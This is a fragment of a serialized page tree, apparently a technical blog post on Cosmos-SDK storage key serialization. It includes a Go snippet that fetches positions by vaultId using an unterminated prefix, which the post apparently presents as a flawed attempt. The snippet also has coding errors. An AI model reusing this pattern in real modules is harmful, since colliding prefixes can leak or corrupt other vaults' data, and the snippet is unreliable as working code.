tag":213,"props":87807,"children":87808},{"style":268},[87809],{"type":28,"value":86780},{"type":23,"tag":213,"props":87811,"children":87812},{"style":220},[87813],{"type":28,"value":944},{"type":23,"tag":213,"props":87815,"children":87816},{"class":215,"line":23557},[87817,87821],{"type":23,"tag":213,"props":87818,"children":87819},{"style":268},[87820],{"type":28,"value":86815},{"type":23,"tag":213,"props":87822,"children":87823},{"style":220},[87824],{"type":28,"value":944},{"type":23,"tag":213,"props":87826,"children":87827},{"class":215,"line":23592},[87828],{"type":23,"tag":213,"props":87829,"children":87830},{"style":220},[87831],{"type":28,"value":1918},{"type":23,"tag":213,"props":87833,"children":87834},{"class":215,"line":23600},[87835],{"type":23,"tag":213,"props":87836,"children":87837},{"style":220},[87838],{"type":28,"value":1208},{"type":23,"tag":213,"props":87840,"children":87841},{"class":215,"line":23608},[87842],{"type":23,"tag":213,"props":87843,"children":87844},{"emptyLinePlaceholder":18},[87845],{"type":28,"value":530},{"type":23,"tag":213,"props":87847,"children":87848},{"class":215,"line":23617},[87849],{"type":23,"tag":213,"props":87850,"children":87851},{"emptyLinePlaceholder":18},[87852],{"type":28,"value":530},{"type":23,"tag":213,"props":87854,"children":87855},{"class":215,"line":23659},[87856,87860,87864],{"type":23,"tag":213,"props":87857,"children":87858},{"style":230},[87859],{"type":28,"value":76353},{"type":23,"tag":213,"props":87861,"children":87862},{"style":257},[87863],{"type":28,"value":86859},{"type":23,"tag":213,"props":87865,"children":87866},{"style":220},[87867],{"type":28,"value":1511},{"type":23,"tag":213,"props":87869,"children":87870},{"class":215,"line":23692},[87871,87875,87879],{"type":23,"tag":213,"props":87872,"children":87873},{"style":268},[87874],{"type":28,"value":85300},{"type":23,"tag":213,"props":87876,"children":87877},{"style":290},[87878],{"type":28,"value":76474},{"type":23,"tag":213,"props":87880,"children":87881},{"style":220},[87882],{"type":28,"value":944},{"type":23,"tag":213,"props":87884,"children":87885},{"class":215,"line":23700},[87886,87890,87894,87898,87902,87906],{"type":23,"tag":213,"props":87887,"children":87888},{"style":268},[87889],{"type":28,"value":85312},{"type":23,"tag":213,"props":87891,"children":87892},{"style":220},[87893],{"type":28,"value":424},{"type":23,"tag":213,"props":87895,"children":87896},{"style":268},[87897],{"type":28,"value":86894},{"type":23,"tag":213,"props":87899,"children":87900},{"style":220},[87901],{"type":28,"value":76280},{"type":23,"tag":213,"props":87903,"children":87904},{"style":290},[87905],{"type":28,"value":84818},{"type":23,"tag":213,"props":87907,"children":87908},{"style":220},[87909],{"type":28,"value":944},{"type":23,"tag":213,"props":87911,"children":87912},{"class":215,"line":23708},[87913,87917,87921,87925,87929],{"type":23,"tag":213,"props":87914,"children":87915},{"style":220},[87916],{"type":28,"value":76435},{"type":23,"tag":213,"props":87918,"children":87919},{"style":268},[87920],{"type":28,"value":72209},{"type":23,"tag":213,"props":87922,"children":87923},{"style":220},[87924],{"type":28,"value":76280},{"type":23,"tag":213,"props":87926,"children":87927},{"style":290},[87928],{"type":28,"value":84818},{"type":23,"tag":213,"props":87930,"children":87931},{"style":220},[87932],{"type":28,"value":14870},{"type":23,"tag":213,"props":87934,"children":87935},{"class":215,"line":23717},[87936,87940,87944,87948],{"type":23,"tag":213,"props":87937,"children":87938},{"style":268},[87939],{"type":28,"value":85914},{"type":23,"tag":213,"props":87941,"children":87942},{"style":274},[87943],{"type":28,"value":76469},{"type":23,"tag":213,"props":87945,"children":87946},{"style":257},[87947],{"type":28,"value":85617},{"type":23,"tag":213,"props":87949,"children":87950},{"style":220},[87951],{"type":28,"value":1511},{"type":23,"tag":213,"props":87953,"children":87954},{"class":215,"line":23793},[87955,87959,87963],{"type":23,"tag":213,"props":87956,"children":87957},{"style":220},[87958],{"type":28,"value":86508},{"type":23,"tag":213,"props":87960,"children":87961},{"style":290},[87962],{"type":28,"value":84818},{"type":23,"tag":213,"props":87964,"children":87965},{"style":220},[87966],{"type":28,"value":944},{"type":23,"tag":213,"props":87968,"children":87969},{"class":215,"line":23826},[87970,87974,87978,87982,87986,87990,87994,87998],{"type":23,"tag":213,"props":87971,"children":87972},{"style":268},[87973],{"type":28,"value":86524},{"type":23,"tag":213,"props":87975,"children":87976},{"style":220},[87977],{"type":28,"value":124},{"type":23,"tag":213,"props":87979,"children":87980},{"style":257},[87981],{"type":28,"value":85654},{"type":23,"tag":213,"props":87983,"children":87984},{"style":220},[87985],{"type":28,"value":265},{"type":23,"tag":213,"props":87987,"children":87988},{"style":257},[87989],{"type":28,"value":9225},{"type":23,"tag":213,"props":87991,"children":87992},{"style":220},[87993],{"type":28,"value":265},{"type":23,"tag":213,"props":87995,"children":87996},{"style":268},[87997],{"type":28,"value":85524},{"type":23,"tag":213,"props":87999,"children":88000},{"style":220},[88001],{"type":28,"value":85675},{"type":23,"tag":213,"props":88003,"children":88004},{"class":215,"line":23834},[88005],{"type":23,"tag":213,"props":88006,"children":88007},{"style":220},[88008],{"type":28,"value":1918},{"type":23,"tag":213,"props":88010,"children":88011},{"class":215,"line":23842},[88012,88016,88020,88024,88028,88032,88036,88040],{"type":23,"tag":213,"props":88013,"children":88014},{"style":268},[88015],{"type":28,"value":85645},{"type":23,"tag":213,"props":88017,"children":88018},{"style":220},[88019],{"type":28,"value":124},{"type":23,"tag":213,"props":88021,"children":88022},{"style":257},[88023],{"type":28,"value":85699},{"type":23,"tag":213,"props":88025,"children":88026},{"style":220},[88027],{"type":28,"value":265},{"type":23,"tag":213,"props":88029,"children":88030},{"style":268},[88031],{"type":28,"value":85608},{"type":23,"tag":213,"props":88033,"children":88034},{"style":220},[88035],{"type":28,"value":424},{"type":23,"tag":213,"props":88037,"children":88038},{"style":268},[88039],{"type":28,"value":85524},{"type":23,"tag":213,"props":88041,"children":88042},{"style":220},[88043],{"type":28,"value":2183},{"type":23,"tag":213,"props":88045,"children":88046},{"class":215,"line":23879},[88047],{"type":23,"tag":213,"props":88048,"children":88049},{"emptyLinePlaceholder":18},[88050],{"type":28,"value":530},{"type":23,"tag":213,"props":88052,"children":88053},{"class":215,"line":23892},[88054,88058,88062,88066],{"type":23,"tag":213,"props":88055,"children":88056},{"style":268},[88057],{"type":28,"value":87051},{"type":23,"tag":213,"props":88059,"children":88060},{"style":274},[88061],{"type":28,"value":76469},{"type":23,"tag":213,"props":88063,"children":88064},{"style":257},[88065],{"type":28,"value":85617},{"type":23,"tag":213,"props":88067,"children":88068},{"style":220},[88069],{"type":28,"value":1511},{"type":23,"tag":213,"props":88071,"children":88072},{"class":215,"line":23905},[88073,88077,88081],{"type":23,"tag":213,"props":88074,"children":88075},{"style":220},[88076],{"type":28,"value":86508},{"type":23,"tag":213,"props":88078,"children":88079},{"style":290},[88080],{"type":28,"value":84818},{"type":23,"tag":213,"props":88082,"children":88083},{"style":220},[88084],{"type":28,"value":944},{"type":23,"tag":213,"props":88086,"children":88087},{"class":215,"line":23918},[88088,88092,88096,88100,88104,88108,88112,88116],{"type":23,"tag":213,"props":88089,"children":88090},{"style":268},[88091],{"type":28,"value":86524},{"type":23,"tag":213,"props":88093,"children":88094},{"style":220},[88095],{"type":28,"value":124},{"type":23,"tag":213,"props":88097,"children":88098},{"style":257},[88099],{"type":28,"value":85654},{"type":23,"tag":213,"props":88101,"children":88102},{"style":220},[88103],{"type":28,"value":265},{"type":23,"tag":213,"props":88105,"children":88106},{"style":257},[88107],{"type":28,"value":9225},{"type":23,"tag":213,"props":88109,"children":88110},{"style":220},[88111],{"type":28,"value":265},{"type":23,"tag":213,"props":88113,"children":88114},{"style":268},[88115],{"type":28,"value":86894},{"type":23,"tag":213,"props":88117,"children":88118},{"style":220},[88119],{"type":28,"value":85675},{"type":23,"tag":213,"props":88121,"children":88122},{"class":215,"line":23972},[88123],{"type":23,"tag":213,"props":88124,"children":88125},{"style":220},[88126],{"type":28,"value":1918},{"type":23,"tag":213,"props":88128,"children":88129},{"class":215,"line":23980},[88130,88134,88138,88142,88146,88150,88154,88158],{"type":23,"tag":213,"props":88131,"children":88132},{"style":268},[88133],{"type":28,"value":85645},{"type":23,"tag":213,"props":88135,"children":88136},{"style":220},[88137],{"type":28,"value":124},{"type":23,"tag":213,"props":88139,"children":88140},{"style":257},[88141],{"type":28,"value":85699},{"type":23,"tag":213,"props":88143,"children":88144},{"style":220},[88145],{"type":28,"value":265},{"type":23,"tag":213,"props":88147,"children":88148},{"style":268},[88149],{"type":28,"value":87144},{"type":23,"tag":213,"props":88151,"children":88152},{"style":220},[88153],{"type":28,"value":424},{"type":23,"tag":213,"props":88155,"children":88156},{"style":268},[88157],{"type":28,"value":86894},{"type":23,"tag":213,"props":88159,"children":88160},{"style":220},[88161],{"type":28,"value":2183},{"type":23,"tag":213,"props":88163,"children":88164},{"class":215,"line":32336},[88165],{"type":23,"tag":213,"props":88166,"children":88167},{"emptyLinePlaceholder":18},[88168],{"type":28,"value":530},{"type":23,"tag":213,"props":88170,"children":88171},{"class":215,"line":32357},[88172,88176,88180,88184,88188,88192],{"type":23,"tag":213,"props":88173,"children":88174},{"style":268},[88175],{"type":28,"value":86728},{"type":23,"tag":213,"props":88177,"children":88178},{"style":274},[88179],{"type":28,"value":76469},{"type":23,"tag":213,"props":88181,"children":88182},{"style":268},[88183],{"type":28,"value":82287},{"type":23,"tag":213,"props":88185,"children":88186},{"style":220},[88187],{"type":28,"value":124},{"type":23,"tag":213,"props":88189,"children":88190},{"style":257},[88191],{"type":28,"value":85276},{"type":23,"tag":213,"props":88193,"children":88194},{"style":220},[88195],{"type":28,"value":1511},{"type":23,"tag":213,"props":88197,"children":88198},{"class":215,"line":81004},[88199,88203],{"type":23,"tag":213,"props":88200,"children":88201},{"style":246},[88202],{"type":28,"value":87753},{"type":23,"tag":213,"props":88204,"children":88205},{"style":220},[88206],{"type":28,"value":944},{"type":23,"tag":213,"props":88208,"children":88209},{"class":215,"line":81017},[88210,88215],{"type":23,"tag":213,"props":88211,"children":88212},{"style":268},[88213],{"type":28,"value":88214}," AddressMapPrefix",{"type":23,"tag":213,"props":88216,"children":88217},{"style":220},[88218],{"type":28,"value":944},{"type":23,"tag":213,"props":88220,"children":88221},{"class":215,"line":81025},[88222,88226],{"type":23,"tag":213,"props":88223,"children":88224},{"style":268},[88225],{"type":28,"value":86768},{"type":23,"tag":213,"props":88227,"children":88228},{"style":220},[88229],{"type":28,"value":944},{"type":23,"tag":213,"props":88231,"children":88232},{"class":215,"line":81033},[88233,88237],{"type":23,"tag":213,"props":88234,"children":88235},{"style":268},[88236],{"type":28,"value":86780},{"type":23,"tag":213,"props":88238,"children":88239},{"style":220},[88240],{"type":28,"value":944},{"type":23,"tag":213,"props":88242,"children":88243},{"class":215,"line":81041},[88244,88248],{"type":23,"tag":213,"props":88245,"children":88246},{"style":268},[88247],{"type":28,"value":86792},{"type":23,"tag":213,"props":88249,"children":88250},{"style":220},[88251],{"type":28,"value":944},{"type":23,"tag":213,"props":88253,"children":88254},{"class":215,"line":81081},[88255,88259],{"type":23,"tag":213,"props":88256,"children":88257},{"style":268},[88258],{"type":28,"value":86780},{"type":23,"tag":213,"props":88260,"children":88261},{"style":220},[88262],{"type":28,"value":944},{"type":23,"tag":213,"props":88264,"children":88265},{"class":215,"line":81089},[88266,88270],{"type":23,"tag":213,"props":88267,"children":88268},{"style":268},[88269],{"type":28,"value":87253},{"type":23,"tag":213,"props":88271,"children":88272},{"style":220},[88273],{"type":28,"value":944},{"type":23,"tag":213,"props":88275,"children":88277},{"class":215,"line":88276},60,[88278],{"type":23,"tag":213,"props":88279,"children":88280},{"style":220},[88281],{"type":28,"value":1918},{"type":23,"tag":213,"props":88283,"children":88285},{"class":215,"line":88284},61,[88286],{"type":23,"tag":213,"props":88287,"children":88288},{"style":220},[88289],{"type":28,"value":1208},{"type":23,"tag":24,"props":88291,"children":88292},{},[88293],{"type":28,"value":88294},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":24,"props":88296,"children":88297},{},[88298,88300,88305],{"type":28,"value":88299},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":209,"props":88301,"children":88303},{"className":88302},[],[88304],{"type":28,"value":67156},{"type":28,"value":88306},", data should still be retrievable through original keys.",{"type":23,"tag":24,"props":88308,"children":88309},{},[88310,88312,88318,88320,88325],{"type":28,"value":88311},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":209,"props":88313,"children":88315},{"className":88314},[],[88316],{"type":28,"value":88317},"map[Username]map[PositionName]Position",{"type":28,"value":88319}," associated with a ",{"type":23,"tag":209,"props":88321,"children":88323},{"className":88322},[],[88324],{"type":28,"value":85188},{"type":28,"value":88326}," from the storage. How can we safely accomplish this?",{"type":23,"tag":24,"props":88328,"children":88329},{},[88330,88332,88337,88339,88345],{"type":28,"value":88331},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":209,"props":88333,"children":88335},{"className":88334},[],[88336],{"type":28,"value":85259},{"type":28,"value":88338}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":209,"props":88340,"children":88342},{"className":88341},[],[88343],{"type":28,"value":88344},"vaultId",{"type":28,"value":277},{"type":23,"tag":202,"props":88347,"children":88349},{"code":88348,"language":76217,"meta":7,"className":76218,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[88350],{"type":23,"tag":209,"props":88351,"children":88352},{"__ignoreMap":7},[88353,88369,88384,88433,88485,88514,88526,88572,88579,88625,88680,88687,88751,88812,88835,88854,88861,88868,88928,88987,89010,89029,89036,89043,89096,89144,89151,89158,89198,89227,89234,89241,89253],{"type":23,"tag":213,"props":88354,"children":88355},{"class":215,"line":216},[88356,88360,88365],{"type":23,"tag":213,"props":88357,"children":88358},{"style":230},[88359],{"type":28,"value":76353},{"type":23,"tag":213,"props":88361,"children":88362},{"style":257},[88363],{"type":28,"value":88364}," FetchPositionMapWithVaultId",{"type":23,"tag":213,"props":88366,"children":88367},{"style":220},[88368],{"type":28,"value":1511},{"type":23,"tag":213,"props":88370,"children":88371},{"class":215,"line":226},[88372,88376,88380],{"type":23,"tag":213,"props":88373,"children":88374},{"style":268},[88375],{"type":28,"value":85300},{"type":23,"tag":213,"props":88377,"children":88378},{"style":290},[88379],{"type":28,"value":76474},{"type":23,"tag":213,"props":88381,"children":88382},{"style":220},[88383],{"type":28,"value":944},{"type":23,"tag":213,"props":88385,"children":88386},{"class":215,"line":524},[88387,88392,88396,88400,88404,88408,88412,88416,88420,88424,88429],{"type":23,"tag":213,"props":88388,"children":88389},{"style":220},[88390],{"type":28,"value":88391},") ([]",{"type":23,"tag":213,"props":88393,"children":88394},{"style":230},[88395],{"type":28,"value":67156},{"type":23,"tag":213,"props":88397,"children":88398},{"style":220},[88399],{"type":28,"value":3821},{"type":23,"tag":213,"props":88401,"children":88402},{"style":290},[88403],{"type":28,"value":85205},{"type":23,"tag":213,"props":88405,"children":88406},{"style":220},[88407],{"type":28,"value":15470},{"type":23,"tag":213,"props":88409,"children":88410},{"style":230},[88411],{"type":28,"value":67156},{"type":23,"tag":213,"props":88413,"children":88414},{"style":220},[88415],{"type":28,"value":3821},{"type":23,"tag":213,"props":88417,"children":88418},{"style":290},[88419],{"type":28,"value":85222},{"type":23,"tag":213,"props":88421,"children":88422},{"style":220},[88423],{"type":28,"value":15470},{"type":23,"tag":213,"props":88425,"children":88426},{"style":290},[88427],{"type":28,"value":88428},"Position",{"type":23,"tag":213,"props":88430,"children":88431},{"style":220},[88432],{"type":28,"value":14870},{"type":23,"tag":213,"props":88434,"children":88435},{"class":215,"line":533},[88436,88441,88445,88449,88453,88457,88461,88465,88469,88473,88477,88481],{"type":23,"tag":213,"props":88437,"children":88438},{"style":268},[88439],{"type":28,"value":88440}," values",{"type":23,"tag":213,"props":88442,"children":88443},{"style":274},[88444],{"type":28,"value":76469},{"type":23,"tag":213,"props":88446,"children":88447},{"style":230},[88448],{"type":28,"value":49721},{"type":23,"tag":213,"props":88450,"children":88451},{"style":220},[88452],{"type":28,"value":3821},{"type":23,"tag":213,"props":88454,"children":88455},{"style":290},[88456],{"type":28,"value":85205},{"type":23,"tag":213,"props":88458,"children":88459},{"style":220},[88460],{"type":28,"value":15470},{"type":23,"tag":213,"props":88462,"children":88463},{"style":230},[88464],{"type":28,"value":67156},{"type":23,"tag":213,"props":88466,"children":88467},{"style":220},[88468],{"type":28,"value":3821},{"type":23,"tag":213,"props":88470,"children":88471},{"style":290},[88472],{"type":28,"value":85222},{"type":23,"tag":213,"props":88474,"children":88475},{"style":220},[88476],{"type":28,"value":15470},{"type":23,"tag":213,"props":88478,"children":88479},{"style":290},[88480],{"type":28,"value":88428},{"type":23,"tag":213,"props":88482,"children":88483},{"style":220},[88484],{"type":28,"value":78150},{"type":23,"tag":213,"props":88486,"children":88487},{"class":215,"line":543},[88488,88493,88497,88501,88505,88510],{"type":23,"tag":213,"props":88489,"children":88490},{"style":268},[88491],{"type":28,"value":88492}," i",{"type":23,"tag":213,"props":88494,"children":88495},{"style":274},[88496],{"type":28,"value":76469},{"type":23,"tag":213,"props":88498,"children":88499},{"style":268},[88500],{"type":28,"value":78694},{"type":23,"tag":213,"props":88502,"children":88503},{"style":220},[88504],{"type":28,"value":124},{"type":23,"tag":213,"props":88506,"children":88507},{"style":257},[88508],{"type":28,"value":88509},"KVStorePrefixIterator",{"type":23,"tag":213,"props":88511,"children":88512},{"style":220},[88513],{"type":28,"value":1511},{"type":23,"tag":213,"props":88515,"children":88516},{"class":215,"line":551},[88517,88522],{"type":23,"tag":213,"props":88518,"children":88519},{"style":268},[88520],{"type":28,"value":88521}," kvStore",{"type":23,"tag":213,"props":88523,"children":88524},{"style":220},[88525],{"type":28,"value":944},{"type":23,"tag":213,"props":88527,"children":88528},{"class":215,"line":570},[88529,88534,88538,88542,88546,88551,88555,88560,88564,88568],{"type":23,"tag":213,"props":88530,"children":88531},{"style":268},[88532],{"type":28,"value":88533}," fmt",{"type":23,"tag":213,"props":88535,"children":88536},{"style":220},[88537],{"type":28,"value":124},{"type":23,"tag":213,"props":88539,"children":88540},{"style":257},[88541],{"type":28,"value":85276},{"type":23,"tag":213,"props":88543,"children":88544},{"style":220},[88545],{"type":28,"value":265},{"type":23,"tag":213,"props":88547,"children":88548},{"style":246},[88549],{"type":28,"value":88550},"\"%s%d\"",{"type":23,"tag":213,"props":88552,"children":88553},{"style":220},[88554],{"type":28,"value":424},{"type":23,"tag":213,"props":88556,"children":88557},{"style":268},[88558],{"type":28,"value":88559},"PositionMapPrefix",{"type":23,"tag":213,"props":88561,"children":88562},{"style":220},[88563],{"type":28,"value":424},{"type":23,"tag":213,"props":88565,"children":88566},{"style":268},[88567],{"type":28,"value":88344},{"type":23,"tag":213,"props":88569,"children":88570},{"style":220},[88571],{"type":28,"value":2183},{"type":23,"tag":213,"props":88573,"children":88574},{"class":215,"line":655},[88575],{"type":23,"tag":213,"props":88576,"children":88577},{"style":220},[88578],{"type":28,"value":1918},{"type":23,"tag":213,"props":88580,"children":88581},{"class":215,"line":1176},[88582,88586,88591,88595,88599,88604,88608,88612,88616,88621],{"type":23,"tag":213,"props":88583,"children":88584},{"style":1362},[88585],{"type":28,"value":3131},{"type":23,"tag":213,"props":88587,"children":88588},{"style":220},[88589],{"type":28,"value":88590}," ; ",{"type":23,"tag":213,"props":88592,"children":88593},{"style":268},[88594],{"type":28,"value":3826},{"type":23,"tag":213,"props":88596,"children":88597},{"style":220},[88598],{"type":28,"value":124},{"type":23,"tag":213,"props":88600,"children":88601},{"style":257},[88602],{"type":28,"value":88603},"Valid",{"type":23,"tag":213,"props":88605,"children":88606},{"style":220},[88607],{"type":28,"value":28504},{"type":23,"tag":213,"props":88609,"children":88610},{"style":268},[88611],{"type":28,"value":3826},{"type":23,"tag":213,"props":88613,"children":88614},{"style":220},[88615],{"type":28,"value":124},{"type":23,"tag":213,"props":88617,"children":88618},{"style":257},[88619],{"type":28,"value":88620},"Next",{"type":23,"tag":213,"props":88622,"children":88623},{"style":220},[88624],{"type":28,"value":15791},{"type":23,"tag":213,"props":88626,"children":88627},{"class":215,"line":1202},[88628,88633,88637,88642,88646,88650,88654,88658,88662,88667,88671,88676],{"type":23,"tag":213,"props":88629,"children":88630},{"style":268},[88631],{"type":28,"value":88632}," k",{"type":23,"tag":213,"props":88634,"children":88635},{"style":274},[88636],{"type":28,"value":76469},{"type":23,"tag":213,"props":88638,"children":88639},{"style":268},[88640],{"type":28,"value":88641}," strings",{"type":23,"tag":213,"props":88643,"children":88644},{"style":220},[88645],{"type":28,"value":124},{"type":23,"tag":213,"props":88647,"children":88648},{"style":257},[88649],{"type":28,"value":70095},{"type":23,"tag":213,"props":88651,"children":88652},{"style":220},[88653],{"type":28,"value":265},{"type":23,"tag":213,"props":88655,"children":88656},{"style":268},[88657],{"type":28,"value":3826},{"type":23,"tag":213,"props":88659,"children":88660},{"style":220},[88661],{"type":28,"value":124},{"type":23,"tag":213,"props":88663,"children":88664},{"style":257},[88665],{"type":28,"value":88666},"Key",{"type":23,"tag":213,"props":88668,"children":88669},{"style":220},[88670],{"type":28,"value":18426},{"type":23,"tag":213,"props":88672,"children":88673},{"style":268},[88674],{"type":28,"value":88675},"Seperator",{"type":23,"tag":213,"props":88677,"children":88678},{"style":220},[88679],{"type":28,"value":2183},{"type":23,"tag":213,"props":88681,"children":88682},{"class":215,"line":1758},[88683],{"type":23,"tag":213,"props":88684,"children":88685},{"emptyLinePlaceholder":18},[88686],{"type":28,"value":530},{"type":23,"tag":213,"props":88688,"children":88689},{"class":215,"line":1767},[88690,88695,88699,88703,88708,88712,88716,88720,88724,88729,88733,88738,88742,88746],{"type":23,"tag":213,"props":88691,"children":88692},{"style":268},[88693],{"type":28,"value":88694}," username",{"type":23,"tag":213,"props":88696,"children":88697},{"style":274},[88698],{"type":28,"value":76469},{"type":23,"tag":213,"props":88700,"children":88701},{"style":257},[88702],{"type":28,"value":85617},{"type":23,"tag":213,"props":88704,"children":88705},{"style":220},[88706],{"type":28,"value":88707},"([]",{"type":23,"tag":213,"props":88709,"children":88710},{"style":290},[88711],{"type":28,"value":84818},{"type":23,"tag":213,"props":88713,"children":88714},{"style":220},[88715],{"type":28,"value":424},{"type":23,"tag":213,"props":88717,"children":88718},{"style":268},[88719],{"type":28,"value":85690},{"type":23,"tag":213,"props":88721,"children":88722},{"style":220},[88723],{"type":28,"value":124},{"type":23,"tag":213,"props":88725,"children":88726},{"style":257},[88727],{"type":28,"value":88728},"DecodedLen",{"type":23,"tag":213,"props":88730,"children":88731},{"style":220},[88732],{"type":28,"value":265},{"type":23,"tag":213,"props":88734,"children":88735},{"style":268},[88736],{"type":28,"value":88737},"k",{"type":23,"tag":213,"props":88739,"children":88740},{"style":220},[88741],{"type":28,"value":3821},{"type":23,"tag":213,"props":88743,"children":88744},{"style":514},[88745],{"type":28,"value":4116},{"type":23,"tag":213,"props":88747,"children":88748},{"style":220},[88749],{"type":28,"value":88750},"]))\n",{"type":23,"tag":213,"props":88752,"children":88753},{"class":215,"line":1789},[88754,88758,88762,88766,88770,88775,88779,88784,88788,88792,88796,88800,88804,88808],{"type":23,"tag":213,"props":88755,"children":88756},{"style":268},[88757],{"type":28,"value":27803},{"type":23,"tag":213,"props":88759,"children":88760},{"style":220},[88761],{"type":28,"value":424},{"type":23,"tag":213,"props":88763,"children":88764},{"style":268},[88765],{"type":28,"value":48472},{"type":23,"tag":213,"props":88767,"children":88768},{"style":274},[88769],{"type":28,"value":76469},{"type":23,"tag":213,"props":88771,"children":88772},{"style":268},[88773],{"type":28,"value":88774}," hex",{"type":23,"tag":213,"props":88776,"children":88777},{"style":220},[88778],{"type":28,"value":124},{"type":23,"tag":213,"props":88780,"children":88781},{"style":257},[88782],{"type":28,"value":88783},"Decode",{"type":23,"tag":213,"props":88785,"children":88786},{"style":220},[88787],{"type":28,"value":265},{"type":23,"tag":213,"props":88789,"children":88790},{"style":268},[88791],{"type":28,"value":85524},{"type":23,"tag":213,"props":88793,"children":88794},{"style":220},[88795],{"type":28,"value":424},{"type":23,"tag":213,"props":88797,"children":88798},{"style":268},[88799],{"type":28,"value":88737},{"type":23,"tag":213,"props":88801,"children":88802},{"style":220},[88803],{"type":28,"value":3821},{"type":23,"tag":213,"props":88805,"children":88806},{"style":514},[88807],{"type":28,"value":4116},{"type":23,"tag":213,"props":88809,"children":88810},{"style":220},[88811],{"type":28,"value":858},{"type":23,"tag":213,"props":88813,"children":88814},{"class":215,"line":1812},[88815,88819,88823,88827,88831],{"type":23,"tag":213,"props":88816,"children":88817},{"style":1362},[88818],{"type":28,"value":3369},{"type":23,"tag":213,"props":88820,"children":88821},{"style":268},[88822],{"type":28,"value":48573},{"type":23,"tag":213,"props":88824,"children":88825},{"style":274},[88826],{"type":28,"value":64440},{"type":23,"tag":213,"props":88828,"children":88829},{"style":230},[88830],{"type":28,"value":81971},{"type":23,"tag":213,"props":88832,"children":88833},{"style":220},[88834],{"type":28,"value":1375},{"type":23,"tag":213,"props":88836,"children":88837},{"class":215,"line":1838},[88838,88842,88846,88850],{"type":23,"tag":213,"props":88839,"children":88840},{"style":1362},[88841],{"type":28,"value":79129},{"type":23,"tag":213,"props":88843,"children":88844},{"style":230},[88845],{"type":28,"value":81971},{"type":23,"tag":213,"props":88847,"children":88848},{"style":220},[88849],{"type":28,"value":424},{"type":23,"tag":213,"props":88851,"children":88852},{"style":268},[88853],{"type":28,"value":83692},{"type":23,"tag":213,"props":88855,"children":88856},{"class":215,"line":1851},[88857],{"type":23,"tag":213,"props":88858,"children":88859},{"style":220},[88860],{"type":28,"value":3444},{"type":23,"tag":213,"props":88862,"children":88863},{"class":215,"line":1864},[88864],{"type":23,"tag":213,"props":88865,"children":88866},{"emptyLinePlaceholder":18},[88867],{"type":28,"value":530},{"type":23,"tag":213,"props":88869,"children":88870},{"class":215,"line":1890},[88871,88876,88880,88884,88888,88892,88896,88900,88904,88908,88912,88916,88920,88924],{"type":23,"tag":213,"props":88872,"children":88873},{"style":268},[88874],{"type":28,"value":88875}," positionName",{"type":23,"tag":213,"props":88877,"children":88878},{"style":274},[88879],{"type":28,"value":76469},{"type":23,"tag":213,"props":88881,"children":88882},{"style":257},[88883],{"type":28,"value":85617},{"type":23,"tag":213,"props":88885,"children":88886},{"style":220},[88887],{"type":28,"value":88707},{"type":23,"tag":213,"props":88889,"children":88890},{"style":290},[88891],{"type":28,"value":84818},{"type":23,"tag":213,"props":88893,"children":88894},{"style":220},[88895],{"type":28,"value":424},{"type":23,"tag":213,"props":88897,"children":88898},{"style":268},[88899],{"type":28,"value":85690},{"type":23,"tag":213,"props":88901,"children":88902},{"style":220},[88903],{"type":28,"value":124},{"type":23,"tag":213,"props":88905,"children":88906},{"style":257},[88907],{"type":28,"value":88728},{"type":23,"tag":213,"props":88909,"children":88910},{"style":220},[88911],{"type":28,"value":265},{"type":23,"tag":213,"props":88913,"children":88914},{"style":268},[88915],{"type":28,"value":88737},{"type":23,"tag":213,"props":88917,"children":88918},{"style":220},[88919],{"type":28,"value":3821},{"type":23,"tag":213,"props":88921,"children":88922},{"style":514},[88923],{"type":28,"value":4106},{"type":23,"tag":213,"props":88925,"children":88926},{"style":220},[88927],{"type":28,"value":88750},{"type":23,"tag":213,"props":88929,"children":88930},{"class":215,"line":1899},[88931,88935,88939,88943,88947,88951,88955,88959,88963,88967,88971,88975,88979,88983],{"type":23,"tag":213,"props":88932,"children":88933},{"style":268},[88934],{"type":28,"value":27803},{"type":23,"tag":213,"props":88936,"children":88937},{"style":220},[88938],{"type":28,"value":424},{"type":23,"tag":213,"props":88940,"children":88941},{"style":268},[88942],{"type":28,"value":48472},{"type":23,"tag":213,"props":88944,"children":88945},{"style":274},[88946],{"type":28,"value":76469},{"type":23,"tag":213,"props":88948,"children":88949},{"style":268},[88950],{"type":28,"value":88774},{"type":23,"tag":213,"props":88952,"children":88953},{"style":220},[88954],{"type":28,"value":124},{"type":23,"tag":213,"props":88956,"children":88957},{"style":257},[88958],{"type":28,"value":88783},{"type":23,"tag":213,"props":88960,"children":88961},{"style":220},[88962],{"type":28,"value":265},{"type":23,"tag":213,"props":88964,"children":88965},{"style":268},[88966],{"type":28,"value":85793},{"type":23,"tag":213,"props":88968,"children":88969},{"style":220},[88970],{"type":28,"value":424},{"type":23,"tag":213,"props":88972,"children":88973},{"style":268},[88974],{"type":28,"value":88737},{"type":23,"tag":213,"props":88976,"children":88977},{"style":220},[88978],{"type":28,"value":3821},{"type":23,"tag":213,"props":88980,"children":88981},{"style":514},[88982],{"type":28,"value":4106},{"type":23,"tag":213,"props":88984,"children":88985},{"style":220},[88986],{"type":28,"value":858},{"type":23,"tag":213,"props":88988,"children":88989},{"class":215,"line":1912},[88990,88994,88998,89002,89006],{"type":23,"tag":213,"props":88991,"children":88992},{"style":1362},[88993],{"type":28,"value":3369},{"type":23,"tag":213,"props":88995,"children":88996},{"style":268},[88997],{"type":28,"value":48573},{"type":23,"tag":213,"props":88999,"children":89000},{"style":274},[89001],{"type":28,"value":64440},{"type":23,"tag":213,"props":8